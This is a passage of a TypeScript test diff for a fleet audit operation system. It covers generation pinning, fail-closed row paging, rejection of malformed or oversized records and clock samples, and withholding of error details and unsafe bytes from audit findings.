baseRecord('multiduty', { updatedAt: FRESH_UPDATED_AT }); + const records = [record]; + const inventory = inventoryFor(records); + const harness = buildHarness(records, inventory); + const liveMaintenance: MaintenanceHealth = { + armed: false, + nextAlarmAt: null, + lastSweepAt: null, + lastSweepAttemptAt: AUDIT_NOW - 1_000, + lastSweepError: 'Bearer super-secret-token', + lastPurgeAt: null, + lastPurgeAttemptAt: AUDIT_NOW - 2_000, + lastPurgeError: '', + }; + harness.liveByTenant.set( + 'multiduty', + cleanLiveDeployment(record, { maintenance: liveMaintenance }), + ); + const operationId = uuidFor(50); + await startAndDrive(harness, operationId, records); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const finding = page.findings.find((f) => f.kind === 'maintenance-stale'); + expect(finding?.detail).toBe( + `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}; purge last attempt failed at ${AUDIT_NOW - 2_000}`, + ); + + const drainStore = new FakeFleetStateStore( + records, + ) as unknown as FleetStateStore; + const drainFindings = await auditFleetDrift({ + store: drainStore, + records, + inventory, + backendFor: () => harness.backend, + specFor: (r) => harness.specByTenant.get(r.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (r) => + harness.secretByTenant.get(r.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + const drainFinding = drainFindings.find( + (f) => f.kind === 'maintenance-stale', + ); + expect(drainFinding?.detail).toBe( + `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}: Bearer super-secret-token; purge last attempt failed at ${AUDIT_NOW - 2_000}: `, + ); + }); + + it("adoption race: a start whose probe saw ABSENT but whose startOperation returned adopted-running pins the RETURNED record's progress.generation, never the locally resolved one", async () => { + const alice = baseRecord('alice'); + const losingAuditTimeMs = AUDIT_NOW + 12_345; + const harness = buildHarness([alice], inventoryFor([alice]), { + auditClock: () => losingAuditTimeMs, + }); + harness.inventoryStore.registerFinalizedGeneration( + 2, + inventoryFor([alice]), + ); + harness.inventoryStore.registerFinalizedGeneration( + 3, + inventoryFor([alice]), + ); + const operationId = uuidFor(51); + + // Simulate a concurrent winner that already started under generation 2. + const winnerRunRecord: FleetOperationRunRecord = { + version: 1, + operationId, + kind: 'audit', + state: 'running', + progress: { + kind: 'audit', + revision: 0, + stage: { step: 'provider-findings', rowOrdinal: 0 }, + generation: 2, + auditTimeMs: AUDIT_NOW, + staleAfterMs: STALE_AFTER_MS, + recordCount: 1, + findingCount: 0, + factCount: 0, + } as unknown as FleetOperationRunRecord['progress'], + updatedAt: new Date(AUDIT_NOW).toISOString(), + }; + const matchingIntake = fleetOperationItemsIntake({ + envelope: { staleAfterMs: STALE_AFTER_MS, generation: null }, + items: [alice], + itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + }); + expect('digest' in matchingIntake).toBe(true); + if (!('digest' in matchingIntake)) throw new Error('unreachable'); + const matchingDigest = matchingIntake.digest; + harness.operationStore.operations.set(operationId, winnerRunRecord); + harness.operationStore.intakeDigests.set(operationId, matchingDigest); + harness.operationStore.heads.set('audit', operationId); + harness.operationStore.probeMiss.add(operationId); + + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + expect(harness.inventoryStore.latestGeneration).toBe(3); + expect(harness.inventoryStore.pins).toEqual([ + { generation: 2, pinnedBy: `fleet-audit:${operationId}` }, + ]); + const persisted = fleetAuditProgressFromUnknown( + (await harness.operationStore.readOperationById(operationId))?.progress, + ); + expect(persisted.generation).toBe(2); + expect(persisted.auditTimeMs).toBe(AUDIT_NOW); + expect(persisted.auditTimeMs).not.toBe(losingAuditTimeMs); + }); + + it('readAllFleetOperationRows fails closed on a page with zero rows before done', async () => { + let mutationCalls = 0; + const store: FleetOperationStore = { + withAccountOperationLease: async () => { + mutationCalls += 1; + throw new Error('unused'); + }, + readOperationById: async () => undefined, + readOperationRowsPage: async () => ({ rows: [], done: false }), + pruneFleetOperations: async () => { + mutationCalls += 1; + return { deleted: 0, releasedPins: 0 }; + }, + }; + await expect( + readAllFleetOperationRows(store, uuidFor(53), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + + let repeatingPageCalls = 0; + const repeatingRow: FleetOperationStagedRow = { + rowKind: 'record', + ordinal: 0, + payload: {}, + }; + const repeatingStore: FleetOperationStore = { + ...store, + readOperationRowsPage: async () => { + repeatingPageCalls += 1; + return { rows: [repeatingRow], done: false }; + }, + }; + await expect( + readAllFleetOperationRows(repeatingStore, uuidFor(53), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(repeatingPageCalls).toBe(2); + + expect(FLEET_OPERATION_ROW_READ_BOUND).toBe(990_000); + let advancingPageCalls = 0; + let advancingRows = 0; + const advancingStore: FleetOperationStore = { + ...store, + readOperationRowsPage: async (input) => { + advancingPageCalls += 1; + const firstOrdinal = (input.afterOrdinal ?? -1) + 1; + const pageLength = Math.min( + input.limit, + FLEET_OPERATION_ITEM_BOUND + 1 - advancingRows, + ); + advancingRows += pageLength; + return { + rows: Array.from({ length: pageLength }, (_, index) => ({ + rowKind: input.rowKind, + ordinal: firstOrdinal + index, + payload: {}, + })), + done: advancingRows === FLEET_OPERATION_ITEM_BOUND + 1, + }; + }, + }; + await expect( + readAllFleetOperationRows(advancingStore, uuidFor(53), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(advancingRows).toBe(FLEET_OPERATION_ITEM_BOUND + 1); + expect(advancingPageCalls).toBe(FLEET_OPERATION_ITEM_BOUND / 1_000 + 1); + + const orderedRows: FleetOperationStagedRow[] = Array.from( + { length: 1_001 }, + (_, ordinal) => ({ rowKind: 'record', ordinal, payload: { ordinal } }), + ); + const orderedStore = new FakeOperationStore(); + const orderedOperationId = uuidFor(530); + orderedStore.rows.set(`${orderedOperationId}:record`, orderedRows); + const expectedRows = await readAllFleetOperationRows( + orderedStore, + orderedOperationId, + 'record', + ); + expect(expectedRows.map((row) => row.ordinal)).toEqual( + Array.from({ length: 1_001 }, (_, ordinal) => ordinal), + ); + expect(new Set(expectedRows.map((row) => row.ordinal)).size).toBe( + expectedRows.length, + ); + const descendingStore = new Proxy(orderedStore, { + get(target, property, receiver) { + if (property === 'readOperationRowsPage') { + return async ( + input: Parameters[0], + ) => { + const page = await target.readOperationRowsPage(input); + return { ...page, rows: [...page.rows].reverse() }; + }; + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + readAllFleetOperationRows(descendingStore, orderedOperationId, 'record'), + ).resolves.toEqual(expectedRows); + + let overlappingPageCalls = 0; + const overlappingBaseStore = new FakeOperationStore(); + const overlappingStore = new Proxy(overlappingBaseStore, { + get(target, property, receiver) { + if (property === 'readOperationRowsPage') { + return async ( + input: Parameters[0], + ) => { + overlappingPageCalls += 1; + if (input.afterOrdinal === undefined) { + return { + rows: [{ rowKind: input.rowKind, ordinal: 1, payload: {} }], + done: false, + }; + } + return { + rows: [ + { rowKind: input.rowKind, ordinal: 2, payload: {} }, + { rowKind: input.rowKind, ordinal: 1, payload: {} }, + ], + done: true, + }; + }; + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + readAllFleetOperationRows(overlappingStore, uuidFor(531), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(overlappingPageCalls).toBe(2); + expect(overlappingBaseStore.operations.size).toBe(0); + expect(overlappingBaseStore.rows.size).toBe(0); + expect(overlappingBaseStore.heads.size).toBe(0); + + let gappedPageCalls = 0; + const gappedStore: FleetOperationStore = { + ...store, + readOperationRowsPage: async (input) => { + gappedPageCalls += 1; + return input.afterOrdinal === undefined + ? { + rows: [ + { rowKind: input.rowKind, ordinal: 5, payload: {} }, + { rowKind: input.rowKind, ordinal: 1, payload: {} }, + ], + done: false, + } + : { + rows: [{ rowKind: input.rowKind, ordinal: 6, payload: {} }], + done: true, + }; + }, + }; + await expect( + readAllFleetOperationRows(gappedStore, uuidFor(532), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(gappedPageCalls).toBe(2); + expect(mutationCalls).toBe(0); + }); + + it('a start with no resolvable generation refuses with the fixed message and persists nothing', async () => { + const alice = baseRecord('nogeneration'); + const harness = buildHarness([alice], inventoryFor([alice])); + harness.inventoryStore.latestGeneration = undefined; + harness.inventoryStore.refs.clear(); + harness.inventoryStore.generations.clear(); + harness.inventoryStore.runs.clear(); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(54), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('no finalized fleet inventory generation is available'); + expect(harness.operationStore.operations.size).toBe(0); + expect(harness.operationStore.rows.size).toBe(0); + expect(harness.operationStore.heads.size).toBe(0); + expect(harness.operationStore.intakeDigests.size).toBe(0); + expect(harness.inventoryStore.pins).toEqual([]); + expect(harness.inventoryStore.releasedPins).toEqual([]); + expect(generationReadCounts(harness.inventoryStore)).toEqual({ + latest: 1, + finalized: 0, + runByOperation: 0, + }); + }); + + it('a start-time pinGeneration refusal durably fails the operation as generation-unavailable with the head released', async () => { + const alice = baseRecord('pinrefusal'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(55); + harness.inventoryStore.pinFailsForGeneration = 1; + const failed = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(failed.status).toBe('failed'); + if (failed.status !== 'failed') throw new Error('unreachable'); + expect(failed.failure).toEqual({ reason: 'generation-unavailable' }); + expect( + (await harness.operationStore.readOperationById(operationId))?.state, + ).toBe('failed'); + expect(harness.inventoryStore.pins).toEqual([]); + expect(harness.inventoryStore.releasedPins).toContainEqual({ + generation: 1, + pinnedBy: `fleet-audit:${operationId}`, + }); + expect(harness.operationStore.heads.has('audit')).toBe(false); + + harness.inventoryStore.pinFailsForGeneration = undefined; + const next = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(56), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(next.status).toBe('pending'); + }); + + it('findings-page reads and abandonment refuse an unknown id and a foreign-kind id before any write', async () => { + const alice = baseRecord('foreignids'); + const harness = buildHarness([alice], inventoryFor([alice])); + const unknownId = uuidFor(57); + const runningForeignId = uuidFor(58); + const terminalForeignId = uuidFor(59); + const runningForeign: FleetOperationRunRecord = { + version: 1, + operationId: runningForeignId, + kind: 'migration', + state: 'running', + progress: { kind: 'migration', revision: 3 }, + updatedAt: new Date(AUDIT_NOW).toISOString(), + }; + const terminalForeign: FleetOperationRunRecord = { + version: 1, + operationId: terminalForeignId, + kind: 'migration', + state: 'finalized', + progress: { kind: 'migration', revision: 7 }, + updatedAt: new Date(AUDIT_NOW).toISOString(), + terminalAtMs: AUDIT_NOW, + }; + harness.operationStore.operations.set(runningForeignId, runningForeign); + harness.operationStore.operations.set(terminalForeignId, terminalForeign); + harness.operationStore.heads.set('migration', runningForeignId); + const durableStateBefore = { + operations: structuredClone([...harness.operationStore.operations]), + rows: structuredClone([...harness.operationStore.rows]), + heads: structuredClone([...harness.operationStore.heads]), + intakeDigests: structuredClone([...harness.operationStore.intakeDigests]), + pins: structuredClone(harness.inventoryStore.pins), + releasedPins: structuredClone(harness.inventoryStore.releasedPins), + }; + + await expect( + readFleetAuditFindingsPage(harness.operationStore, { + operationId: unknownId, + limit: 10, + }), + ).rejects.toBeInstanceOf(FleetOperationTokenOperationError); + await expect( + readFleetAuditFindingsPage(harness.operationStore, { + operationId: unknownId, + limit: 10, + }), + ).rejects.toThrow(`no fleet operation '${unknownId}'`); + await expect( + abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId: unknownId, + }), + ).rejects.toBeInstanceOf(FleetOperationTokenOperationError); + await expect( + abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId: unknownId, + }), + ).rejects.toThrow(`no fleet operation '${unknownId}'`); + + for (const operationId of [runningForeignId, terminalForeignId]) { + const message = `fleet operation '${operationId}' belongs to the other operation kind`; + await expect( + readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }), + ).rejects.toThrow(message); + await expect( + abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }), + ).rejects.toThrow(message); + } + + expect({ + operations: [...harness.operationStore.operations], + rows: [...harness.operationStore.rows], + heads: [...harness.operationStore.heads], + intakeDigests: [...harness.operationStore.intakeDigests], + pins: harness.inventoryStore.pins, + releasedPins: harness.inventoryStore.releasedPins, + }).toStrictEqual(durableStateBefore); + expect( + await harness.operationStore.readOperationById(runningForeignId), + ).toStrictEqual(runningForeign); + expect( + await harness.operationStore.readOperationById(terminalForeignId), + ).toStrictEqual(terminalForeign); + }); + + it('a finding row the read codec would reject fails the operation closed at write time instead of poisoning the findings page', async () => { + const inventory = emptyInventory(); + inventory.findings.push({ + tenantTag: 'provider-observation', + environment: ENVIRONMENT, + kind: 'out-of-vocabulary' as FleetInventoryFinding['kind'], + detail: 'malformed route fixture', + }); + const harness = buildHarness([], inventory); + const operationId = uuidFor(60); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + expect(started.stage).toEqual({ step: 'provider-findings', rowOrdinal: 0 }); + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: started.token }), + ), + ).rejects.toThrow('fleet operation state is malformed'); + expect( + harness.operationStore.rows.get(`${operationId}:finding`)?.length ?? 0, + ).toBe(0); + expect( + (await harness.operationStore.readOperationById(operationId))?.state, + ).toBe('running'); + await expect( + readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }), + ).rejects.toThrow(`fleet audit operation '${operationId}' is not terminal`); + await abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }); + const abandoned = + await harness.operationStore.readOperationById(operationId); + expect(abandoned?.state).toBe('failed'); + expect((abandoned?.progress as FleetAuditProgress).failure?.reason).toBe( + 'operator-abandoned', + ); + expect(harness.operationStore.heads.has('audit')).toBe(false); + expect(harness.inventoryStore.releasedPins).toContainEqual({ + generation: 1, + pinnedBy: `fleet-audit:${operationId}`, + }); + + const observed = baseRecord('observed'); + const observedInventory = inventoryFor([observed]); + const observedFindings: FleetInventoryFinding[] = [ + { + tenantTag: '', + environment: ENVIRONMENT, + kind: 'malformed-route', + detail: 'empty provider tenant tag', + }, + { + tenantTag: 'provider-tenant', + environment: 'production\u0000observed', + kind: 'stale-route', + detail: 'control-byte provider environment', + }, + { + tenantTag: 'provider-tenant', + environment: ENVIRONMENT, + kind: 'stale-route', + detail: 'x\u0000y', + }, + ]; + observedInventory.findings.push(...observedFindings); + const liveNamespaceId = 'live\u0000namespace'; + const observedHarness = buildHarness([observed], observedInventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + observedHarness.liveByTenant.set( + observed.tenantTag, + cleanLiveDeployment(observed, { + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner', namespaceId: liveNamespaceId }, + ], + }), + ); + const observedOperationId = uuidFor(64); + const observedTerminal = await startAndDrive( + observedHarness, + observedOperationId, + [observed], + ); + expect(observedTerminal.status).toBe('complete'); + const observedPage = await readFleetAuditFindingsPage( + observedHarness.operationStore, + { operationId: observedOperationId, limit: 100 }, + ); + const boundedProviderFindings = observedFindings.map((finding) => + finding.detail === 'x\u0000y' + ? { + ...finding, + detail: + "finding detail withheld: unsafe bytes (kind 'stale-route')", + } + : finding, + ); + expect( + observedPage.findings.slice(0, observedFindings.length), + ).toStrictEqual(boundedProviderFindings); + const stagedFacts = + observedHarness.operationStore.rows.get(`${observedOperationId}:fact`) ?? + []; + expect(stagedFacts).toContainEqual( + expect.objectContaining({ + payload: { + factKind: 'namespace-owner', + key: liveNamespaceId, + tenantTag: observed.tenantTag, + environment: observed.environment, + }, + }), + ); + const readFacts = ( + await readAllFleetOperationRows( + observedHarness.operationStore, + observedOperationId, + 'fact', + ) + ).map((row) => fleetAuditFactRowFromUnknown(row.payload)); + expect(readFacts).toContainEqual({ + factKind: 'namespace-owner', + key: liveNamespaceId, + tenantTag: observed.tenantTag, + environment: observed.environment, + }); + const drainFindings = await auditFleetDrift({ + store: observedHarness.fleetStore, + records: [observed], + inventory: observedInventory, + backendFor: () => observedHarness.backend, + specFor: (record) => + observedHarness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + observedHarness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + expect(drainFindings.slice(0, observedFindings.length)).toStrictEqual( + observedFindings, + ); + // Detail withholding is the only expected difference in this world. + expect(observedPage.findings).toStrictEqual( + drainFindings.map((finding) => + finding.detail === 'x\u0000y' + ? { + ...finding, + detail: + "finding detail withheld: unsafe bytes (kind 'stale-route')", + } + : finding, + ), + ); + }); + + it('a start whose record carries a malformed deployment identifier refuses with the fixed message and persists nothing', async () => { + const cases = [ + baseRecord('emptyenvironment', { environment: '' }), + baseRecord('control\u0000tenant'), + ]; + for (const [index, record] of cases.entries()) { + const harness = buildHarness([record], inventoryFor([record])); + const probeCallsBefore = harness.operationStore.readOperationByIdCalls; + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(61 + index), + records: [record], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', + ); + expect(harness.operationStore.readOperationByIdCalls).toBe( + probeCallsBefore, + ); + expectZeroHarnessWork(harness); + } + }); + + it('a start refuses a non-positive or non-integer explicit generation, a non-string tenant tag, a record over the staged row byte bound, and a non-integer or out-of-Date-range audit clock sample before any operation row, staged row, or pin', async () => { + const alice = baseRecord('preflight'); + for (const [index, generation] of [0, 1.5].entries()) { + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(70 + index); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + generation, + }), + ), + ).rejects.toThrow('generation must be a positive safe integer'); + expectZeroHarnessWork(harness); + expect(harness.operationStore.operations.has(operationId)).toBe(false); + expect(harness.operationStore.rows.size).toBe(0); + expect(harness.inventoryStore.pins).toEqual([]); + } + + const nonStringTenant = { + ...baseRecord('nonstringtenant'), + tenantTag: null as unknown as string, + }; + const nonStringHarness = buildHarness([], emptyInventory()); + const nonStringOperationId = uuidFor(72); + await expect( + advanceFleetAudit( + nonStringHarness.baseOptions({ + kind: 'start', + operationId: nonStringOperationId, + records: [nonStringTenant], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', + ); + expectZeroHarnessWork(nonStringHarness); + expect( + nonStringHarness.operationStore.operations.has(nonStringOperationId), + ).toBe(false); + expect(nonStringHarness.operationStore.rows.size).toBe(0); + expect(nonStringHarness.inventoryStore.pins).toEqual([]); + + const throwingTenant = baseRecord('throwingtenant'); + Object.defineProperty(throwingTenant, 'tenantTag', { + get() { + throw new Error('boom'); + }, + enumerable: true, + }); + const throwingTenantHarness = buildHarness([], emptyInventory()); + await expect( + advanceFleetAudit( + throwingTenantHarness.baseOptions({ + kind: 'start', + operationId: uuidFor(720), + records: [throwingTenant], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('fleet audit record exceeds the intake structure bounds'); + expectZeroHarnessWork(throwingTenantHarness); + + const nullRecordHarness = buildHarness([], emptyInventory()); + const nullRecordOperationId = uuidFor(79); + await expect( + advanceFleetAudit( + nullRecordHarness.baseOptions({ + kind: 'start', + operationId: nullRecordOperationId, + records: [null as unknown as FleetRecord], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('fleet audit record exceeds the intake structure bounds'); + expectZeroHarnessWork(nullRecordHarness); + + const padding = Object.fromEntries( + Array.from({ length: 25 }, (_, index) => [ + `padding${index}`, + 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND), + ]), + ); + const oversizedRecord = Object.assign(baseRecord('oversized'), padding); + const pending: unknown[] = [oversizedRecord]; + const strings: string[] = []; + let nodeCount = 0; + while (pending.length > 0) { + const current = pending.pop(); + nodeCount += 1; + if (typeof current === 'string') strings.push(current); + else if (Array.isArray(current)) pending.push(...current); + else if (current && typeof current === 'object') { + pending.push(...Object.values(current)); + } + } + const oversizedCanonical = canonicalFleetOperationBytes(oversizedRecord); + expect( + new TextEncoder().encode(oversizedCanonical).byteLength, + ).toBeGreaterThan(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND); + expect(nodeCount).toBeLessThan(8_192); + expect( + Math.max( + ...strings.map((value) => new TextEncoder().encode(value).byteLength), + ), + ).toBeLessThanOrEqual(FLEET_OPERATION_STRING_BYTE_BOUND); + const oversizedHarness = buildHarness([], emptyInventory()); + const oversizedOperationId = uuidFor(73); + await expect( + advanceFleetAudit( + oversizedHarness.baseOptions({ + kind: 'start', + operationId: oversizedOperationId, + records: [oversizedRecord], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('fleet audit record exceeds the staged row byte bound'); + expectZeroHarnessWork(oversizedHarness); + expect( + oversizedHarness.operationStore.operations.has(oversizedOperationId), + ).toBe(false); + expect(oversizedHarness.operationStore.rows.size).toBe(0); + expect(oversizedHarness.inventoryStore.pins).toEqual([]); + + const clockHarness = buildHarness([alice], inventoryFor([alice]), { + auditClock: () => 1.5, + }); + const clockOperationId = uuidFor(74); + await expect( + advanceFleetAudit( + clockHarness.baseOptions({ + kind: 'start', + operationId: clockOperationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit auditClock sample must be a non-negative safe integer representable by Date', + ); + expectZeroHarnessWork(clockHarness, { + leaseCount: 1, + readOperationByIdCalls: 1, + generationReads: { latest: 1, finalized: 0, runByOperation: 0 }, + }); + expect(clockHarness.operationStore.operations.has(clockOperationId)).toBe( + false, + ); + expect(clockHarness.operationStore.rows.size).toBe(0); + expect(clockHarness.inventoryStore.pins).toEqual([]); + + const outOfRangeClockHarness = buildHarness( + [alice], + inventoryFor([alice]), + { auditClock: () => 9e15 }, + ); + const outOfRangeClockOperationId = uuidFor(75); + await expect( + advanceFleetAudit( + outOfRangeClockHarness.baseOptions({ + kind: 'start', + operationId: outOfRangeClockOperationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit auditClock sample must be a non-negative safe integer representable by Date', + ); + expectZeroHarnessWork(outOfRangeClockHarness, { + leaseCount: 1, + readOperationByIdCalls: 1, + generationReads: { latest: 1, finalized: 0, runByOperation: 0 }, + }); + + const structureBoundCases: readonly FleetRecord[] = [ + Object.assign(baseRecord('toomanynodes'), { + padding: Array.from({ length: 9_000 }, () => null), + }), + Object.assign(baseRecord('overlongstring'), { + padding: 'x'.repeat(5_000), + }), + ]; + for (const [index, record] of structureBoundCases.entries()) { + const harness = buildHarness([], emptyInventory()); + const operationId = uuidFor(76 + index); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [record], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit record exceeds the intake structure bounds', + ); + expectZeroHarnessWork(harness); + expect(harness.operationStore.operations.has(operationId)).toBe(false); + } + + const overlappingPadding = Object.fromEntries( + Array.from({ length: 8_000 }, (_, index) => [ + `padding${index}`, + 'x'.repeat(2_087), + ]), + ); + const overlappingBaseRecord = baseRecord('overlappingbounds'); + const overlappingRecord = Object.assign( + overlappingBaseRecord, + overlappingPadding, + ); + expect(countPlainDataNodes(overlappingRecord)).toBeLessThan(8_192); + // This fixture is ASCII, so string lengths equal UTF-8 byte lengths. + let overlappingSerializedByteCount = JSON.stringify( + baseRecord('overlappingbounds'), + ).length; + for (let index = 0; index < 8_000; index += 1) { + overlappingSerializedByteCount += + 1 + 2 + `padding${index}`.length + 1 + 2 + 2_087; + } + expect(overlappingSerializedByteCount).toBeGreaterThan( + FLEET_OPERATION_INTAKE_BYTE_BOUND, + ); + const overlappingHarness = buildHarness([], emptyInventory()); + const overlappingOperationId = uuidFor(78); + await expect( + advanceFleetAudit( + overlappingHarness.baseOptions({ + kind: 'start', + operationId: overlappingOperationId, + records: [overlappingRecord], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('fleet audit record exceeds the staged row byte bound'); + expectZeroHarnessWork(overlappingHarness); + expect( + overlappingHarness.operationStore.operations.has(overlappingOperationId), + ).toBe(false); + }); + + it('an emitted finding or fact row whose serialized payload or any string exceeds the staged-row envelope fails the operation durably as emission-bound-exceeded with the pin released, before the store sees the row', async () => { + const escapedNamespaceId = '\u0000'.repeat(3_000); + const overlongDatabaseId = 'd'.repeat(5_000); + const cases = [ + { + tenantTag: 'escapedfact', + live: (record: FleetRecord) => + cleanLiveDeployment(record, { + databaseId: 'db-escapedfact-drifted', + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: escapedNamespaceId, + }, + ], + }), + payload: { + factKind: 'namespace-owner', + key: escapedNamespaceId, + tenantTag: 'escapedfact', + environment: ENVIRONMENT, + }, + }, + { + tenantTag: 'overlongfact', + live: (record: FleetRecord) => + cleanLiveDeployment(record, { databaseId: overlongDatabaseId }), + payload: { + factKind: 'database-owner', + key: overlongDatabaseId, + tenantTag: 'overlongfact', + environment: ENVIRONMENT, + }, + }, + ] as const; + + expect(new TextEncoder().encode(escapedNamespaceId).byteLength).toBe(3_000); + expect( + new TextEncoder().encode(JSON.stringify(cases[0].payload)).byteLength, + ).toBeGreaterThan(FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND); + expect(new TextEncoder().encode(overlongDatabaseId).byteLength).toBe(5_000); + expect( + new TextEncoder().encode(overlongDatabaseId).byteLength, + ).toBeGreaterThan(FLEET_OPERATION_STRING_BYTE_BOUND); + + for (const [index, testCase] of cases.entries()) { + const record = baseRecord(testCase.tenantTag); + const harness = buildHarness([record], inventoryFor([record]), { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + harness.liveByTenant.set(record.tenantTag, testCase.live(record)); + if (index === 0) { + const drainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore([record]), + records: [record], + inventory: inventoryFor([record]), + backendFor: () => harness.backend, + specFor: (entry) => + harness.specByTenant.get(entry.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (entry) => + harness.secretByTenant.get(entry.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + expect(drainFindings.length).toBeGreaterThan(0); + } + const operationId = uuidFor(80 + index); + let result = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [record], + staleAfterMs: STALE_AFTER_MS, + }), + ); + for (let call = 0; call < 50; call += 1) { + if (result.status !== 'pending' || result.stage.step === 'per-record') { + break; + } + result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: result.token }), + ); + } + expect(result.status).toBe('pending'); + if (result.status !== 'pending') throw new Error('unreachable'); + expect(result.stage).toEqual({ step: 'per-record', recordOrdinal: 0 }); + + const codecCallsBefore = harness.operationStore.stagedRowCodecCalls; + const failed = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: result.token }), + ); + expect(failed.status).toBe('failed'); + if (failed.status !== 'failed') throw new Error('unreachable'); + expect(failed.failure).toEqual({ + reason: 'emission-bound-exceeded', + itemOrdinal: 0, + }); + expect(harness.operationStore.stagedRowCodecCalls).toBe(codecCallsBefore); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(persisted?.state).toBe('failed'); + expect((persisted?.progress as FleetAuditProgress).failure).toEqual({ + reason: 'emission-bound-exceeded', + itemOrdinal: 0, + }); + expect(harness.operationStore.heads.has('audit')).toBe(false); + expect(harness.inventoryStore.releasedPins).toContainEqual({ + generation: 1, + pinnedBy: `fleet-audit:${operationId}`, + }); + } + + const globalInventory = emptyInventory(); + globalInventory.findings.push({ + tenantTag: '\u0000'.repeat(3_000), + environment: ENVIRONMENT, + kind: 'malformed-route', + detail: 'provider pass-through finding', + }); + const globalHarness = buildHarness([], globalInventory); + const globalOperationId = uuidFor(82); + const globalStarted = await advanceFleetAudit( + globalHarness.baseOptions({ + kind: 'start', + operationId: globalOperationId, + records: [], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(globalStarted.status).toBe('pending'); + if (globalStarted.status !== 'pending') throw new Error('unreachable'); + expect(globalStarted.stage).toEqual({ + step: 'provider-findings', + rowOrdinal: 0, + }); + const globalCodecCallsBefore = + globalHarness.operationStore.stagedRowCodecCalls; + const globalFailed = await advanceFleetAudit( + globalHarness.baseOptions({ + kind: 'continue', + token: globalStarted.token, + }), + ); + expect(globalFailed.status).toBe('failed'); + if (globalFailed.status !== 'failed') throw new Error('unreachable'); + expect(globalFailed.failure).toStrictEqual({ + reason: 'emission-bound-exceeded', + }); + expect(globalHarness.operationStore.stagedRowCodecCalls).toBe( + globalCodecCallsBefore, + ); + expect( + (await globalHarness.operationStore.readOperationById(globalOperationId)) + ?.state, + ).toBe('failed'); + expect(globalHarness.operationStore.heads.has('audit')).toBe(false); + 